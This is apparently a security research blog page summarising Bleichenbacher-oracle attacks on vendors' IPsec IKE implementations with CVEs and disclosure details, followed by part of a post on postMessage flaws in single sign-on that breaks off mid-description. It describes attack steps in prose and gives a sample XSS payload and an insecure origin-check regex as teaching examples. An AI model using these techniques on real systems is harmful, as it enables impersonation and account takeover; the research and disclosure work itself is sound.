IKE</i> written by Martin Grothe, Jörg Schwenk, and me from Ruhr University Bochum as well as Adam Czubak and Marcin Szymanek from the University of Opole <a href="https://www.nds.rub.de/media/nds/veroeffentlichungen/2018/08/13/sec18-felsch.pdf">[alternative link to the paper]</a>. This blog post is intended for people who like to get a comprehensive summary of our findings rather than to read a long research paper.<br /> <h3> IPsec and Internet Key Exchange (IKE)</h3> IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.<br /> <br /> In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.<br /> <br /> <h3> Attacks on IKE implementations</h3> With our attacks we can impersonate an IKE device: If the attack is successful, we share a set of (falsely) authenticated symmetric keys with the victim device, and can successfully complete the handshake – this holds for both IKEv1 and IKEv2. The attacks are based on Bleichenbacher oracles in the IKEv1 implementations of four large network equipment manufacturers: Cisco, Huawei, Clavister, and ZyXEL. These Bleichenbacher oracles can also be used to forge digital signatures, which breaks the signature based IKEv1 and IKEv2 variants. Those who are unfamiliar with Bleichenbacher attacks may read <a data-ss1533966425="1" href="https://web-in-security.blogspot.com/2014/08/old-attacks-on-new-tls-implementations.html">this post by our colleague Juraj Somorovsky</a> for an explanation.<br /> <br /> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody> <tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyFRithl1k9cRBwaIr5RrepPNVf7490YE25nuJEKuLd95SDrNIstGGJd631pjPVloFTua6uQjriXLBvy5vlhTVNZXIHRhe-7pinWYnUjorcBeeETgcBN-RScDnlG3onrYquKkhZg/s1600/hardware.jpg" imageanchor="1"><img border="0" data-original-height="917" data-original-width="1600" height="366" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyFRithl1k9cRBwaIr5RrepPNVf7490YE25nuJEKuLd95SDrNIstGGJd631pjPVloFTua6uQjriXLBvy5vlhTVNZXIHRhe-7pinWYnUjorcBeeETgcBN-RScDnlG3onrYquKkhZg/s640/hardware.jpg" width="640" /></a></td></tr> <tr><td class="tr-caption" style="font-size: smaller; text-align: justify;"><div style="text-align: center;"> The affected hardware test devices by Huawei, Cisco, and ZyXEL in our network lab.</div> </td></tr> </tbody></table> <br /> We show that the strength of these oracles is sufficient to break all handshake variants in IKEv1 and IKEv2 (except those based on PSKs) when given access to powerful network equipment. We furthermore demonstrate that key reuse across protocols as implemented in certain network equipment carries high security risks.<br /> <br /> We additionally show that both PSK based modes can be broken with an <a href="https://web-in-security.blogspot.com/2018/08/practical-dictionary-attack-on-ipsec-ike.html">offline dictionary attack if the PSK has low entropy</a>. Such an attack was previously only documented for one of those modes (edit: see <a href="https://web-in-security.blogspot.com/2018/08/practical-dictionary-attack-on-ipsec-ike.html#credits">this comment</a>). We thus show attacks against all authentication modes in both IKEv1 and IKEv2 under reasonable assumptions.<br /> <br /> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody> <tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC2nwUsURp8Vs_UNnR86oLRqgOJ6pJoZ6BkFQPR4PfchF_3TCYh3TqIUMVawml5GGEYaJ44-B3UqRuTav0R16prxJdB7LKkR8EEWLGgkP93nD3rteJhfbHNYBOjuHSw4efdWJwLw/s1600/IKEv1.png" imageanchor="1"><img border="0" data-original-height="507" data-original-width="910" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiC2nwUsURp8Vs_UNnR86oLRqgOJ6pJoZ6BkFQPR4PfchF_3TCYh3TqIUMVawml5GGEYaJ44-B3UqRuTav0R16prxJdB7LKkR8EEWLGgkP93nD3rteJhfbHNYBOjuHSw4efdWJwLw/s640/IKEv1.png" width="640" /></a></td></tr> <tr><td class="tr-caption" style="font-size: smaller; text-align: justify;">The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.</td></tr> </tbody></table> <br /> <h3> Where's the bug?</h3> The public key encryption (PKE) based authentication mode of IKE requires that both parties exchanged their public keys securely beforehand (e. g. with certificates during an earlier handshake with signature based authentication). <a data-ss1533966425="1" href="https://tools.ietf.org/html/rfc2409#section-5.2" rel="noreferrer">RFC 2409</a> advertises this mode of authentication with a plausibly deniable exchange to raise the privacy level. In this mode, messages three and four of the handshake exchange encrypted nonces and identities. They are encrypted using the public key of the respective other party. The encoding format for the ciphertexts is PKCS #1 v1.5. <br /> <br /> Bleichenbacher attacks are adaptive chosen ciphertext attacks against RSA-PKCS #1 v1.5. Though the attack has been known for two decades, it is a <a data-ss1533966425="1" href="https://robotattack.org/" rel="noreferrer">common pitfall for developers</a>. The mandatory use of PKCS #1 v1.5 in the PKE authentication methods raised suspicion of whether implementations resist Bleichenbacher attacks.<br /> <br /> PKE authentication is available and fully functional in Cisco's IOS operating system. In Clavister's cOS and ZyXEL's ZyWALL USG devices, PKE is not officially available. There is no documentation and no configuration option for it and it is therefore not fully functional. Nevertheless, these implementations processed messages using PKE authentication in our tests.<br /> <br /> Huawei implements a <i>revised mode</i> of the PKE mode mentioned in the RFC that saves one private key operation per peer (we call it RPKE mode). It is available in certain Huawei devices including the Secospace USG2000 series.<br /> <br /> We were able to confirm the existence of Bleichenbacher oracles in all these implementations. Here are the CVE entries and security advisories by the vendors (I will add links once they are available):<br /> <ul> <li>Cisco: <a data-ss1533966425="1" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0131" rel="noreferrer">CVE-2018-0131</a>, <a href="https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180813-rsa-nonce">Security Advisory</a></li> <li>Huawei: <a data-ss1533966425="1" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17305" rel="noreferrer">CVE-2017-17305</a>, <a href="https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20180813-01-Bleichenbacher-en">Security Advisory</a></li> <li>Clavister: <a data-ss1533966425="1" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8753" rel="noreferrer">CVE-2018-8753</a>, <a href="https://www.clavister.com/advisories/security/clav-sa-0157-bleichenbacher-oracle-vulnerability-in-ikev1">Security Advisory</a></li> <li>Zyxel: <a data-ss1533966425="1" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9129" rel="noreferrer">CVE-2018-9129</a>, <a href="https://www.zyxel.com/support/bleichenbacher_attack_vulnerability.shtml">Security Advisory</a></li> </ul> On an abstract level, these oracles work as follows: If we replace the ciphertext of the nonce in the third handshake message with a modified RSA ciphertext, the responder will either indicate an error (Cisco, Clavister, and ZyXEL) or silently abort (Huawei) if the ciphertext is not PKCS #1 v1.5 compliant. Otherwise, the responder continues with the fourth message (Cisco and Huawei) or return an error notification with a different message (Clavister and ZyXEL) if the ciphertext is in fact PKCS #1 v1.5 compliant. Each time we learn that the ciphertext was valid, we can advance the Bleichenbacher attack one more step. <br /> <h3> A Bleichenbacher Attack Against PKE</h3> If a Bleichenbacher oracle is discovered in a TLS implementation, then TLS-RSA is broken since one can compute the Premaster Secret and the TLS session keys without any time limit on the usage of the oracle. For IKEv1, the situation is more difficult: Even if there is a strong Bleichenbacher oracle in PKE and RPKE mode, our attack must succeed within the lifetime of the IKEv1 Phase 1 session, since a Diffie-Hellman key exchange during the handshake provides an additional layer of security that is not present in TLS-RSA. For example, for Cisco this time limit is currently fixed to 60 seconds for IKEv1 and 240 seconds for IKEv2.<br /> <br /> To phrase it differently: In TLS-RSA, a Bleichenbacher oracle allows to perform an <i>ex post attack</i> to break the confidentiality of the TLS session later on, whereas in IKEv1 a Bleichenbacher oracle only can be used to perform an <i>online attack </i>to impersonate one of the two parties in real time.<br /> <br /> <table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody> <tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRabzC_P77vgEuxj4UtAL8FcXsKIzc-F1AKxqfXPzxz_U873I4WLgXQXqpV85ZEOe3DAXWZOlJBr9QXSf5849ZGEMS4mHE4nPXXzcwNn-uPhpFTcb2OnJfe0Nb-RUkKTctEXu15w/s1600/AttackIKEv1.png" imageanchor="1"><img border="0" data-original-height="583" data-original-width="899" height="414" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRabzC_P77vgEuxj4UtAL8FcXsKIzc-F1AKxqfXPzxz_U873I4WLgXQXqpV85ZEOe3DAXWZOlJBr9QXSf5849ZGEMS4mHE4nPXXzcwNn-uPhpFTcb2OnJfe0Nb-RUkKTctEXu15w/s640/AttackIKEv1.png" width="640" /></a></td></tr> <tr><td class="tr-caption" style="font-size: smaller; text-align: center;">Bleichenbacher attack against IKEv1 PKE based authentication.</td></tr> </tbody></table> <br /> The figure above depicts a direct attack on IKEv1 PKE:<br /> <ol> <li>The attackers initiate an IKEv1 PKE based key exchange with Responder A and adhere to the protocol until receiving the fourth message. They extract the encrypted nonce from this message, and record the other public values of the handshake.</li> <li>The attackers keep the IKE handshake with Responder A alive as long as the responder allows. For Cisco and ZyXEL we know that handshakes are cancelled after 60 seconds, Clavister and Huawei do so after 30 seconds.</li> <li>The attackers initiate several parallel PKE based key exchanges to Responder B.</li> <ul> <li>In each of these exchanges, they send and receive the first two messages according to the protocol specifications.</li> <li>In the third message, they include a modified version of the encrypted nonce according to the the Bleichenbacher attack methodology.</li> <li>They wait until they receive an answer or they can reliably determine that this message will not be sent (timeout or reception of a repeated second handshake message).</li> </ul> <li>After receiving enough answers from Responder B, the attackers can compute the plaintext of the nonce.</li> <li>The attackers now have all the information to complete the key derivation and the handshake. They thus can impersonate Responder B to Responder A.</li> </ol> <h3> Key Reuse</h3> Maintaining individual keys and key pairs for each protocol version, mode, and authentication method of IKE is difficult to achieve in practice. It is oftentimes simply not supported by implementations. This is the case with the implementations by Clavister and ZyXEL, for example. Thus, it is common practice to have only one RSA key pair for the whole IKE protocol family. The actual security of the protocol family in this case crucially depends on its cross-ciphersuite and cross-version security. In fact, our Huawei test device reuses its RSA key pair even for SSH host identification, which further exposes this key pair. <br /> <h3> A Cross-Protocol Version Attack with Digital Signature Based Authentication</h3> <h4> Signature Forgery Using Bleichenbacher's Attack</h4> It is well known that in the case of RSA, performing a decryption and creating a signature is mathematically the same operation. Bleichenbacher's original paper already mentioned that the attack could also be used to forge signatures over attacker-chosen data. In <a href="https://www.nds.rub.de/research/publications/backwards-compatibility/">two</a> <a href="https://www.nds.rub.de/research/publications/ccs15/">papers</a> that my colleagues at our chair have published, this has been exploited for attacks on XML-based Web Services, TLS 1.3, and Google's QUIC protocol. The <a href="https://www.usenix.org/conference/usenixsecurity18/presentation/bock">ROBOT paper</a> used this attack to forge a signature from Facebook's web servers as proof of exploitability. <br /> <h4> IKEv2 With Digital Signatures</h4> Digital signature based authentication is supported by both IKEv1 and IKEv2. We focus here on IKEv2 because on Cisco routers, an IKEv2 handshake may take up to four minutes. This more relaxed timer compared to IKEv1 makes it an interesting attack target. <br /> <br /> I promised that this blogpost will only give a comprehensive summary, therefore I am skipping all the details about IKEv2 here. It is enough to know that the structure of IKEv2 is fundamentally different from IKEv1. <br /> <br /> If you're familiar with IT-security, then you will believe me that if digital signatures are used for authentication, it is not particularly good if an attacker can get a signature over attacker chosen data. We managed to develop an attack that exploits an IKEv1 Bleichenbacher oracle at some peer A to get a signature that can be used to break the IKEv2 authentication at another peer B. This requires that peer A reuses its key pair for IKEv2 also for IKEv1. For the details, please read our <a data-ss1533966425="1" href="https://www.usenix.org/conference/usenixsecurity18/presentation/felsch" rel="noreferrer">paper</a> <a href="https://www.nds.rub.de/media/nds/veroeffentlichungen/2018/08/13/sec18-felsch.pdf">[alternative link to the paper]</a>.<br /> <h3> Evaluation and Results</h3> For testing the attack, we used a Cisco ASR 1001-X router running IOS XE in version 03.16.02.S with IOS version 15.5(3)S2. Unfortunately, Cisco's implementation is not optimized for throughput. From our observations we assume that all cryptographic calculations for IKE are done by the device's CPU despite it having a hardware accelerator for cryptography. One can easily overload the device's CPU for several seconds with a standard PC bursting handshake messages, even with the default limit for concurrent handshakes. And even if the CPU load is kept below 100 %, we nevertheless observed packet loss.<br /> <br /> For the decryption attack on Cisco's IKEv1 responder, we need to finish the Bleichenbacher attack in 60 seconds. If the public key of our ASR 1001-X router is 1024 bits long, we measured an average of 850 responses to Bleichenbacher requests per second. Therefore, an attack must succeed with at most 51,000 Bleichenbacher requests.<br /> <br /> But another limit is the management of Security Associations (SAs). There is a global limit of 900 Phase 1 SAs under negotiation per Cisco device in the default configuration. If this number is exceeded, one is blocked. Thus, one cannot start individual handshakes for each Bleichenbacher request to issue. Instead, SAs have to be reused as long as their error counter allows. Furthermore, establishing SAs with Cisco IOS is really slow. During the attack, the negotiations in the first two messages of IKEv1 require more time than the actual Bleichenbacher attack.<br /> <br /> We managed to perform a successful decryption attack against our ASR 1001-X router with approximately 19,000 Bleichenbacher requests. However, due to the necessary SA negotiations, the attack took 13 minutes.<br /> <br /> For the statistics and for the attack evaluation of digital signature forgery, we used a simulator with an oracle that behaves exactly as the ones by Cisco, Clavister, and ZyXEL. We found that about 26% of attacks against IKEv1 could be successful based on the cryptographic performance of our Cisco device. For digital signature forgery, about 22% of attacks could be successful under the same assumptions.<br /> <br /> Note that (without a patched IOS), only non-cryptographic performance issues prevented a succesful attack on our Cisco device. There might be faster devices that do not suffer from this. Also note that a too slow Bleichenbacher attack does not permanently lock out attackers. If a timeout occurs, they can just start over with a new attack using fresh values hoping to require fewer requests. If the victim has deployed multiple responders sharing one key pair (e. g. for load balancing), this could also be leveraged to speed up an attack. <br /> <h3> Responsible Disclosure</h3> We reported our findings to Cisco, Huawei, Clavister, and ZyXEL. Cisco published fixes with IOS XE versions 16.3.6, 16.6.3, and 16.7.1. They further informed us that the PKE mode will be removed with the next major release.<br /> <br /> Huawei published <a data-ss1533966425="1" href="http://support.huawei.com/enterprise/en/security/usg2200-pid-8577340/software/22993185" rel="noreferrer">firmware version V300R001C10SPH702</a> for the Secospace USG2000 series that removes the Bleichenbacher oracle and the crash bugs we identified. Customers who use other affected Huawei devices will be contacted directly by their support team as part of a need-to-know strategy.<br /> <br /> Clavister removed the vulnerable authentication method with cOS version 12.00.09. ZyXEL responded that our ZyWALL USG 100 test device is from a legacy model series that is end-of-support. Therefore, these devices will not receive a fix. For the successor models, the patched firmware version ZLD 4.32 (<a data-ss1533966425="1" href="ftp://ftp.zyxel.com/USG110/firmware/USG110_4.32(AAPH.0)C0_2.pdf" rel="noreferrer">Release Notes</a>) is available.<br /> <h3> FAQs</h3> <ul> <li><b>Why don't you have a cool name for this attack?</b><br />The attack itself already has a name, it's <i>Bleichenbacher's attack</i>. We just show how Bleichenbacher attacks can be applied to IKE and how they can break the protocol's security. So, if you like, call it <i>IPsec-Bleichenbacher </i>or <i>IKE-</i><i>Bleichenbacher.</i></li> <li><b>Do you have a logo for the attack?</b><br />No.</li> <li><b>My machine was running a vulnerable firmware. Have I been attacked?</b><br />We have no indication that the attack was ever used in the wild. However, if you are still concerned, check your logs. The attack is not silent. If your machine was used for a Bleichenbacher attack, there should be many log entries about decryption errors. If your machine was the one that got tricked (Responder A in our figures), then you could probably find log entries about unfinished handshake attempts.</li> <li><b>Where can I learn more?</b><br />First of all, you can read the <a data-ss1533966425="1" href="https://www.usenix.org/conference/usenixsecurity18/presentation/felsch" rel="noreferrer">paper</a> <a href="https://www.nds.rub.de/media/nds/veroeffentlichungen/2018/08/13/sec18-felsch.pdf">[alternative link to the paper]</a>. Second, you can watch the presentation, either live at the conference or later <a data-ss1533966425="1" href="https://www.usenix.org/conference/usenixsecurity18/presentation/felsch" rel="noreferrer">on this page</a>.</li> <li><b>What else does the paper contain?</b><br />The paper contains a lot more details than this blogpost. It explains all authentication methods including IKEv2 and it gives message flow diagrams of the protocols. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. Furthermore, we describe the quirks of Huawei's implementation including crash bugs that could allow for Denial-of-Service attacks. Last but not least, it describes a dictionary attack against the PSK mode of authentication that is <a href="https://web-in-security.blogspot.com/2018/08/practical-dictionary-attack-on-ipsec-ike.html">covered in a separate blogpost</a>.</li> </ul> <h3> Media Coverage, Blogs, and more</h3> <h4> English</h4> <div> <ul> <li><a href="http://news.rub.de/english/press-releases/2018-08-15-information-technology-security-gaps-identified-internet-protocol-ipsec">Press release by the Ruhr University Bochum</a></li> <li><a href="https://www.bleepingcomputer.com/news/security/cisco-patches-its-operating-systems-against-new-ike-crypto-attack/">BleepingComputer</a></li> <li><a href="https://www.cbronline.com/news/cisco-patches-systems">Computer Business Review</a></li> <li><a href="https://medium.com/asecuritysite-when-bob-met-alice/this-attack-has-been-around-for-20-years-and-its-back-again-with-the-bleichenbacher-oracle-a585c34c9890">Medium</a></li> <li><a href="https://www.securityweek.com/crypto-flaw-affects-products-cisco-huawei-zyxel">SecurityWeek</a></li> <li><a href="https://www.theregister.co.uk/2018/08/14/cisco_patches_ios/">The Register</a></li> <li><a href="https://www.zdnet.com/article/cisco-patches-router-os-against-new-crypto-attack-on-business-vpns/">ZDNet</a></li> </ul> </div> <h4> German</h4> <div> <ul> <li><a href="http://news.rub.de/wissenschaft/2018-08-14-informationstechnologie-sicherheitsluecken-internetprotokoll-identifiziert">Pressemeldung der Ruhr-Universität Bochum</a></li> <li><a href="https://www.focus.de/regional/bochum/ruhr-universitaet-bochum-informationstechnologie_id_9413666.html">FOCUS Online</a></li> <li><a href="https://www.secupedia.info/aktuelles/sicherheitsluecken-im-internetprotokoll-ipsec-identifiziert-11380">SecuPedia</a></li> </ul> </div> </div><strong>Read more</strong><br><ul><li> <a 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It is based on my <a href="https://www.nds.ruhr-uni-bochum.de/media/nds/arbeiten/2020/10/29/Masterarbeit_Louis_Jannett_Security_and_Privacy_of_Social_Logins.pdf" target="_blank">master's thesis</a> that I wrote between April and October 2020 at the <a href="https://www.nds.ruhr-uni-bochum.de/chair/" target="_blank">Chair for Network and Data Security</a>.</p><p>We structured this blog post series into three parts according to the <a href="https://www.nds.ruhr-uni-bochum.de/media/nds/arbeiten/2020/10/29/Masterarbeit_Louis_Jannett_Security_and_Privacy_of_Social_Logins.pdf#page=22">research questions of my master's thesis</a>: Single Sign-On Protocols in the Wild, PostMessage Security in Single Sign-On, and Privacy in Single Sign-On Protocols.</p><h2>Overview</h2><h4><a href="https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part1.html">Part I: Single Sign-On Protocols in the Wild</a></h4><div>Although previous work uncovered various security flaws in SSO, it did not work out uniform protocol descriptions of real-world SSO implementations. We summarize our in-depth analyses of Apple, Google, and Facebook SSO. We also refer to the sections of the <a href="https://www.nds.ruhr-uni-bochum.de/media/nds/arbeiten/2020/10/29/Masterarbeit_Louis_Jannett_Security_and_Privacy_of_Social_Logins.pdf#page=61" target="_blank">thesis</a> that provide more detailed insights into the protocol flows and messages.</div><div><h4><a href="https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part2.html">Part II: PostMessage Security in Single Sign-On</a></h4></div><div>It turned out that the postMessage API is commonly used in real-world SSO implementations. We introduce the reasons for this and propose security best practices on how to implement postMessage in SSO. Further, we present vulnerabilities on top-visited websites that caused DOM-based XSS and account takeovers due to insecure use of postMessage in SSO.</div><div><div><ul style="text-align: left;"><li><a href="#vuln-1-dom-based-xss-on-myaccountnytimescom">Vuln. 1) DOM-based XSS on myaccount.nytimes.com</a></li><li><a href="#vuln-2-account-takeover-on-cbsnewscom-cnetcom-and-zdnetcom">Vuln. 2) Account Takeover on cbsnews.com, cnet.com, and zdnet.com</a></li><li><a href="#vuln-3-account-takeover-in-sap-customer-data-cloud-gigya">Vuln. 3) Account Takeover in SAP Customer Data Cloud (GIGYA)</a></li></ul></div></div><h4><a href="https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html">Part III: Privacy in Single Sign-On Protocols (coming soon)<br /></a></h4><div>Identity Providers (IdPs) use "zero-click" authentication flows to automatically sign in the user on the Service Provider (SP) once it is logged in on the IdP and has consented. We show that these flows can harm user privacy and enable new targeted deanonymization attacks of the user's identity.</div><span><a name='more'></a></span><h2 style="text-align: left;">PostMessage Security in Single Sign-On</h2><div>If you are familiar with OAuth or OpenID Connect, you already know the <i>redirect flow</i>: It opens the Authentication Request in the primary window and returns the Authentication Response with a redirect from the IdP to the SP. This approach requires the browser to reload the entire SP website, which is especially in <a href="https://developer.mozilla.org/en-US/docs/Glossary/SPA" target="_blank">single-page applications</a> a disadvantage.</div><div><br /></div><div>The <i>popup flow</i> eliminates the need to reload the SP website by executing the SSO flow in a popup window as follows:<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRHbqbWLLVOMOApZ8Geny1whk-VJGfiRtUdwZItuKTcXKQQMJzmMCOLsUumv7aJqdTxbMbS7eHw_fnQvu4I0p6REngBC3Qh5WLnnoIo14q-2tNP-7MK9qKevg1UOqBh00EF0GHA/s2977/4_popup_flow.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1056" data-original-width="2977" height="227" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwRHbqbWLLVOMOApZ8Geny1whk-VJGfiRtUdwZItuKTcXKQQMJzmMCOLsUumv7aJqdTxbMbS7eHw_fnQvu4I0p6REngBC3Qh5WLnnoIo14q-2tNP-7MK9qKevg1UOqBh00EF0GHA/w640-h227/4_popup_flow.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">If the sign-in button on the SP website is clicked, the Authentication Request is opened in a new popup window. After the user submits its credentials and grants the consent, the IdP redirects the popup to the `<span style="font-family: courier;">redirect_uri</span>`. From the IdP's perspective, a normal redirect flow is executed. Thus, the IdP does not need not implement any changes to support the popup flow. The SP receives the `<span style="font-family: courier;">code</span>` at its Redirection Endpoint, redeems the `<span style="font-family: courier;">code</span>`, authenticates the user, and finally returns JavaScript that sends an authentication token back to the primary window with postMessage. For instance, the response from the Redirection Endpoint sends the `<span style="font-family: courier;">access_token</span>` (or `<span style="font-family: courier;">id_token</span>` or any other application-specific token) from the popup window back to the primary window as follows:</div></div> <div style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;"><pre style="line-height: 125%; margin: 0px;"><span style="color: #008800; font-weight: bold;">const</span> access_token <span style="color: #333333;">=</span> <span style="background-color: #fff0f0;">"ya29.a0Af..."</span>; <span style="color: #007020;">window</span>.opener.postMessage(access_token, <span style="background-color: #fff0f0;">"https://sp.com"</span>); </pre></div><div><br /></div>Prior to that, the following JavaScript is executed in the primary window:<div><br /> <!--HTML generated using hilite.me--><div style="background: rgb(255, 255, 255) none repeat scroll 0% 0%; border-color: gray; border-image: initial; border-style: solid; border-width: 0.1em 0.1em 0.1em 0.8em; border: medium solid gray; overflow: auto; padding: 0.2em 0.6em; width: auto;"><pre style="line-height: 125%; margin: 0px;"><span style="color: #007020;">window</span>.onmessage <span style="color: #333333;">=</span> (event) <span style="color: #333333;">=></span> { <span style="color: #008800; font-weight: bold;">if</span> (event.origin <span style="color: #333333;">!==</span> <span style="background-color: #fff0f0;">"https://sp.com"</span>) <span style="color: #008800; font-weight: bold;">return</span>; processToken(event.data); } </pre></div> </div><div><br /></div><div>Finally, the primary window receives the authentication token, optionally stores it in localStorage, and may use it for subsequent API calls.</div><h3 style="text-align: left;"><span style="font-size: 18.72px;">Comparison: response_mode=web_message vs. popup flow</span></h3><div>We discovered the popup flow in several real-world SSO implementations, although it is not formally defined in the OAuth or OpenID Connect specifications. Besides the response modes `<span style="font-family: courier;">query</span>`, `<span style="font-family: courier;">fragment</span>`, and `<span style="font-family: courier;">form_post</span>`, we want to raise awareness for `<span style="font-family: courier;">response_mode=web_message</span>`. This response mode requests not to perform any redirects but instead use the postMessage API. After the user submits its credentials and grants the consent, the IdP returns JavaScript, sending the Authentication Response from the popup window to the primary window using postMessage: `<span style="font-family: courier;">window.opener.postMessage("code=XYZ&state=123", "https://sp.com/redirect")</span>`. Although the `<span style="font-family: courier;">redirect_uri</span>` is not required to perform any redirects, it still serves as postMessage destination origin. The SP benefits from this response mode since it does not have to implement a Redirection Endpoint, which is useful for "real" <a href="https://developer.mozilla.org/en-US/docs/Glossary/SPA" target="_blank">single-page applications</a>. However, the IdP must make changes to its implementation.</div><div><br /></div><div>Although the `<span style="font-family: courier;">web_message</span>` response mode is not formally specified in current OAuth or OpenID Connect standards, it still is defined in an expired draft from 2016: <a href="https://tools.ietf.org/html/draft-sakimura-oauth-wmrm-00" target="_blank">OAuth 2.0 Web Message Response Mode</a>. Also, the current draft <a href="https://tools.ietf.org/html/draft-ideskog-assisted-token-04" target="_blank">OAuth 2.0 Assisted Token</a> proposes a separate endpoint used by postMessage SSO flows that are executed with iframes in <a href="https://developer.mozilla.org/en-US/docs/Glossary/SPA" target="_blank">single-page applications</a>. The <a href="https://openid.net/specs/oauth-v2-multiple-response-types-1_0.html" target="_blank">OAuth 2.0 Multiple Response Type Encoding Practices</a> document leaves space for future specifications as well:</div><div><br /></div><div><span style="background-color: #eeeeee;"><i>> Note that it is expected that additional Response Modes may be defined by other specifications in the future, including possibly ones utilizing the HTML5 postMessage API and Cross-Origin Resource Sharing (CORS). </i></span></div><div><span style="background-color: #eeeeee;"><i>Source: <a href="https://openid.net/specs/oauth-v2-multiple-response-types-1_0.html" target="_blank">OAuth 2.0 Multiple Response Type Encoding Practices</a></i></span></div><h3 style="text-align: left;">Security</h3><div>The postMessage API has not only enjoyed popularity by developers but also by bug bounty hunters. The reason is simple: It provides a controlled circumvention of the Same Origin Policy and enables frames of different origins to communicate with each other. This comes at a cost: Developers need to meet specific security requirements to mitigate cross-origin attacks:</div><h4 style="text-align: left;">Destination Check</h4><div><div>The origin of the window that receives the postMessage must be specified in the second parameter of the `<span style="font-family: courier;">postMessage</span>` function. If the message is confidential (i.e., contains the `<span style="font-family: courier;">access_token</span>`, `<span style="font-family: courier;">id_token</span>`, or similar), the wildcard origin `<span style="font-family: courier;">*</span>` <i>must not</i> be used. Instead, the SP origin (i.e., the `<span style="font-family: courier;">redirect_uri</span>`) must be explicitly specified as destination origin. Insufficient destination checks can cause account takeovers.</div></div><h4 style="text-align: left;">Origin Check</h4><div>In the postMessage event listener, the origin of the received postMessage must be checked before the payload is processed. The safest option is to perform a static string compare on the `<span style="font-family: courier;">event.origin</span>` property. Developers need to pay special attention to regular expressions. For instance, `<span style="font-family: courier;">/^https?:\/\/.*sp\.com$/</span>` is <i>insecure</i>, since it classifies `<span style="font-family: courier;">https://attackersp.com</span>` as valid. Insufficient origin checks can cause DOM-based XSS, CSRF logins, and CSRF account linking.</div><h4 style="text-align: left;">Input Validation</h4><div>In the postMessage event listener, the message must be validated before it is processed. For instance, let's assume the URL <a href="https://sp.com/login">https://sp.com/login</a> is sent with postMessage to an event listener, which navigates to that URL by setting the `<span style="font-family: courier;">window.location.href</span>` property. If the URL is not validated, a maliciously-crafted URL (i.e., `<span style="font-family: courier;">javascript:alert(1)</span>`) will cause DOM-based XSS.</div><h4 style="text-align: left;">Evaluation</h4><div>We were curious about the security of postMessage in SSO flows on real-world SPs. To evaluate the current state of postMessage in SSO, the top 250 websites from <a href="https://moz.com/top500" target="_blank">Moz's list</a> of the most popular websites served as a foundation. </div><div>We identified 63 websites supporting SSO with Apple, Google, or Facebook. Out of 15 websites implementing the popup flow with postMessage, we found that <i>ten are vulnerable to an account takeover</i> and <i>two are vulnerable to DOM-based XSS</i>. </div><div>In the following, we present three vulnerabilities on real-world SPs. Check out <a href="https://www.nds.ruhr-uni-bochum.de/media/nds/arbeiten/2020/10/29/Masterarbeit_Louis_Jannett_Security_and_Privacy_of_Social_Logins.pdf#page=99" target="_blank">Section 4.5 of the thesis</a> for more details and attacks.</div><div><br /></div><h3 id="vuln-1-dom-based-xss-on-myaccountnytimescom" style="text-align: left;"><span style="font-size: 18.72px;">Vuln. 1) DOM-based XSS on myaccount.nytimes.com</span></h3><div><span>The website <a href="http://myaccount.nytimes.com">myaccount.nytimes.com</a> was vulnerable to DOM-based XSS due to a missing postMessage origin check and insufficient input validation within the postMessage event listener.</span></div><div><span><br /></span></div><div><span>The SSO flow on <a href="http://nytimes.com">nytimes.com</a> works as follows: If the user clicks the sign-in button on <a href="https://myaccount.nytimes.com/auth/login">https://myaccount.nytimes.com/auth/login</a>, the Authentication Request is opened in a new popup window. The user signs in, grants the consent, and the popup is redirected to the Redirection Endpoint on <a href="https://myaccount.nytimes.com/auth/google-login-callback?code=XYZ">https://myaccount.nytimes.com/auth/google-login-callback?code=XYZ</a>. The backend receives the code, redeems the code, authenticates the user, sets session cookies, and returns JavaScript that sends a postMessage containing a target URL to which the primary window should redirect after successful authentication.</span></div><div><span>Therefore, the primary window on <a href="https://myaccount.nytimes.com/auth/login" target="_blank">https://myaccount.nytimes.com/auth/login</a> registered the following (vulnerable) event 